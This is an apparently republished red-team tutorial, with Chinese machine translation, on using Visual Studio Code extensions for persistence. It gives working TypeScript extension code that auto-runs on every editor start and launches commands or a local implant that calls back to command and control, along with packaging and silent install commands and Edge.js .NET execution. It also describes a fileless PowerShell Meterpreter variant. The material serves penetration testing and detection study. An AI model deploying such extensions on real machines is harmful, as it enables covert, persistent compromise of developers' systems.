It is not uncommon developers or users responsible to write code (i.e. detection engineers using Sigma) to utilize Visual Studio Code as their code editor. The default capability of the product can be extended using extensions such as debuggers and tools to support the development workflow. However, in a development environment that has been compromised during a red team exercise, an arbitrary Visual Studio Code extension can be used for persistence since it will also enable the red team to blend in with the underlying environment. The technique was originally discussed by the company Secarma.
负责编写代码以利用 Visual Studio Code 作为代码编辑器的开发人员或用户(即使用 Sigma 的检测工程师)并不罕见。可以使用调试器和工具等扩展来扩展产品的默认功能,以支持开发工作流程。然而,在红队演习期间受到损害的开发环境中,可以使用任意 Visual Studio Code 扩展来实现持久性,因为它还将使红队能够融入底层环境。该技术最初是由 Secarma 公司讨论的。
Extension Development 扩展开发
Prior to starting the development of a Visual Studio Code Extension the environment requires the following packages:
在开始开发 Visual Studio Code Extension 之前,环境需要以下包:
Execution of the following commands from the command prompt will install Yeoman and the generator code.
从命令提示符执行以下命令将安装 Yeoman 和生成器代码。
npm install -g yo
npm install -g yo generator-code
The command yo code initiates the extension generator which will generate the necessary files of the extension.
命令 yo code 启动扩展生成器,它将生成扩展所需的文件。
yo code
Using the following commands from the extension folder will initiate Visual Studio Code. Once Visual Studio Code starts, will request for the permission of the user prior to adding any files into the workspace.
使用扩展文件夹中的以下命令将启动 Visual Studio Code。 Visual Studio Code 启动后,将在将任何文件添加到工作区之前请求用户的许可。
cd persistence-pentestlab
code .
The files of interest in an extension are:
扩展中感兴趣的文件是:
- package.json 包.json
- extension.ts 扩展名.ts
By default the contents of these files will look similar to the pictures below:
默认情况下,这些文件的内容将类似于下图:
Executing the command HelloWorld will display the HelloWorld information message as it will call the function showInformationMessage from the extension.ts file.
执行命令 HelloWorld 将显示 HelloWorld 信息消息,因为它将调用 extension.ts 文件中的函数 showInformationMessage。
According to the Visual Studio Code there are a number of activation events which can be declared in the package.json file. These events could provide a variety of persistence options such as execute a command when a specific language file is opened or during start of Visual Studio Code. The activation event “*” will enforce the extension to execute every time that Visual Studio Code starts.
根据 Visual Studio Code,有许多激活事件可以在 package.json 文件中声明。这些事件可以提供各种持久性选项,例如在打开特定语言文件时或在 Visual Studio Code 启动期间执行命令。激活事件“*”将强制扩展在每次 Visual Studio Code 启动时执行。
The following code can be used in the extension.ts file in order to display a message a proof of concept once Visual Studio Code initiates.
可以在 extension.ts 文件中使用以下代码,以便在 Visual Studio Code 启动后显示消息作为概念证明。
1
2
3
4
5
6
7
8
|
import * as vscode from 'vscode' ; export function activate(context: vscode.ExtensionContext) { let disposable = vscode.commands.registerCommand( 'persistence-pentestlab.Install' , () => { vscode.window.showInformationMessage( 'Implant is executed' ); }); context.subscriptions.push(disposable); vscode.commands.executeCommand( 'persistence-pentestlab.Install' ); } export function deactivate() {} |
The image below demonstrates that the message “Implant is executed” has been displayed on the next run of Visual Studio Code.
下图展示了下次运行 Visual Studio Code 时已显示消息“Implant isexecute”。
Command Execution 命令执行
Now that there is a verification that code can be executed during start, the extension code can be modified to run a command. The following code snippet uses the child_process library to run the whoami command and log the output into the console.
现在已经验证了代码可以在启动期间执行,可以修改扩展代码来运行命令。以下代码片段使用 child_process 库运行 whoami 命令并将输出记录到控制台中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
import * as vscode from 'vscode' ; export function activate(context : vscode.ExtensionContext) { let disposable = vscode.commands.registerCommand( 'persistence-pentestlab.Install' , () => { vscode.window.showInformationMessage( 'Implant is executed' ); const cp = require( 'child_process' ); let cmd = 'whoami' ;cp.exec(cmd , (err : string , stdout : string , stderr : string) => { console.log(stdout); if (err) { console.log(err); } } ); } ); context.subscriptions.push(disposable); vscode.commands.executeCommand( 'persistence-pentestlab.Install' ); } export function deactivate() { } |
Replacing the command with an implant which is stored locally can be used as method to execute arbitrary code.
用本地存储的植入替换命令可以用作执行任意代码的方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
import * as vscode from 'vscode' ; export function activate(context : vscode.ExtensionContext) { let disposable = vscode.commands.registerCommand( 'persistence-pentestlab.Install' , () => { vscode.window.showInformationMessage( 'Implant is executed' ); const cp = require( 'child_process' ); let cmd = 'C:\\tmp\\demon.x64.exe' ;cp.exec(cmd , (err : string , stdout : string , stderr : string) => { console.log(stdout); if (err) { console.log(err); } } ); } ); context.subscriptions.push(disposable); vscode.commands.executeCommand( 'persistence-pentestlab.Install' ); } export function deactivate() { } |
When the extension runs the implant will call back to the Command and Control.
当扩展程序运行时,植入程序将回调命令和控制。
Extension Packaging 扩展包装
Extensions can be packaged using the Visual Studio Code Extension Manager. By default this utility is not present and can be installed using the following command:
可以使用 Visual Studio Code 扩展管理器打包扩展。默认情况下,该实用程序不存在,可以使用以下命令安装:
npm install -g @vscode/vsce
Executing the following command will package the extension into a .vsix file.
执行以下命令会将扩展打包到 .vsix 文件中。
vsce package --allow-missing-repository --allow-star-activation
The packaged extension will appear into the extension folder.
打包的扩展将出现在扩展文件夹中。
However, the extension will not be installed into the Visual Studio Code until the following command is executed:
但是,在执行以下命令之前,扩展不会安装到 Visual Studio Code 中:
code --install-extension persistence-pentestlab-0.0.1.vsix
Extension Load 延伸负荷
Since the extension has been installed when the compromised user will initiate Visual Studio Code, the implant will executed and a communication will established with the Command and Control.
由于当受感染的用户启动 Visual Studio Code 时已安装扩展,因此植入程序将被执行,并与命令和控制建立通信。
The following image demonstrates how the extension will be displayed in the Extensions of Visual Studio Code.
下图演示了扩展如何在 Visual Studio Code 的扩展中显示。
It should be noted that the implant will executed under the context of Visual Studio Code. Execution of Visual Studio Code generates various process instances and therefore the implant will blend in with the environment.
值得注意的是,植入程序将在 Visual Studio Code 上下文中执行。 Visual Studio Code 的执行会生成各种流程实例,因此植入程序将与环境融为一体。
PowerShell 电源外壳
Dropping the implant to disk might not be the safest method to execute code. An alternative approach could be to utilize PowerShell in order to execute a fileless payload.
将植入物放入磁盘可能不是执行代码的最安全方法。另一种方法是利用 PowerShell 来执行无文件负载。
When the extension loads the payload will executed and a Meterpreter session will established.
当扩展加载时,将执行有效负载并建立 Meterpreter 会话。
JavaScript
Edge.js enables users to run .NET code inside Node.js. Therefore Visual Studio Extensions can be developed in JavaScript with embedded C# code which will extend the offensive capability of the arbitrary extension. The Edge.js and the electron-edge.js can be installed by executing the commands below:
Edge.js 使用户能够在 Node.js 中运行 .NET 代码。因此,Visual Studio 扩展可以使用嵌入 C# 代码的 JavaScript 进行开发,这将扩展任意扩展的攻击能力。 Edge.js 和 electro-edge.js 可以通过执行以下命令来安装:
npm install --save edge-js
npm install --save electron-edge-js
The following code will display a message box as a proof of concept that .NET was executed from a JavaScript file.
以下代码将显示一个消息框,作为 .NET 是从 JavaScript 文件执行的概念证明。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
var edge = require( 'edge-js' ); var msgBox = edge.func( function () { /* using System; using System.Threading.Tasks; using System.Runtime.InteropServices; class Startup { [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType); public async Task<object> Invoke(dynamic input) { MessageBox(IntPtr.Zero, "Visit pentestlab.blog", "Pentestlab.blog", 0); return null; } } */ }); msgBox( null , function (error, result) { if (error) throw error; }); |
The node binary can be used to execute the arbitrary JavaScript file.
节点二进制文件可用于执行任意 JavaScript 文件。
node .\msgBox.js
References 参考
- https://secarma.com/using-visual-studio-code-extensions-for-persistence/
- https://thevivi.net/blog/pentesting/2022-03-05-plugins-for-persistence/#2-visual-studio-code
原文始发于PENETRATION TESTING LAB:Persistence – Visual Studio Code Extensions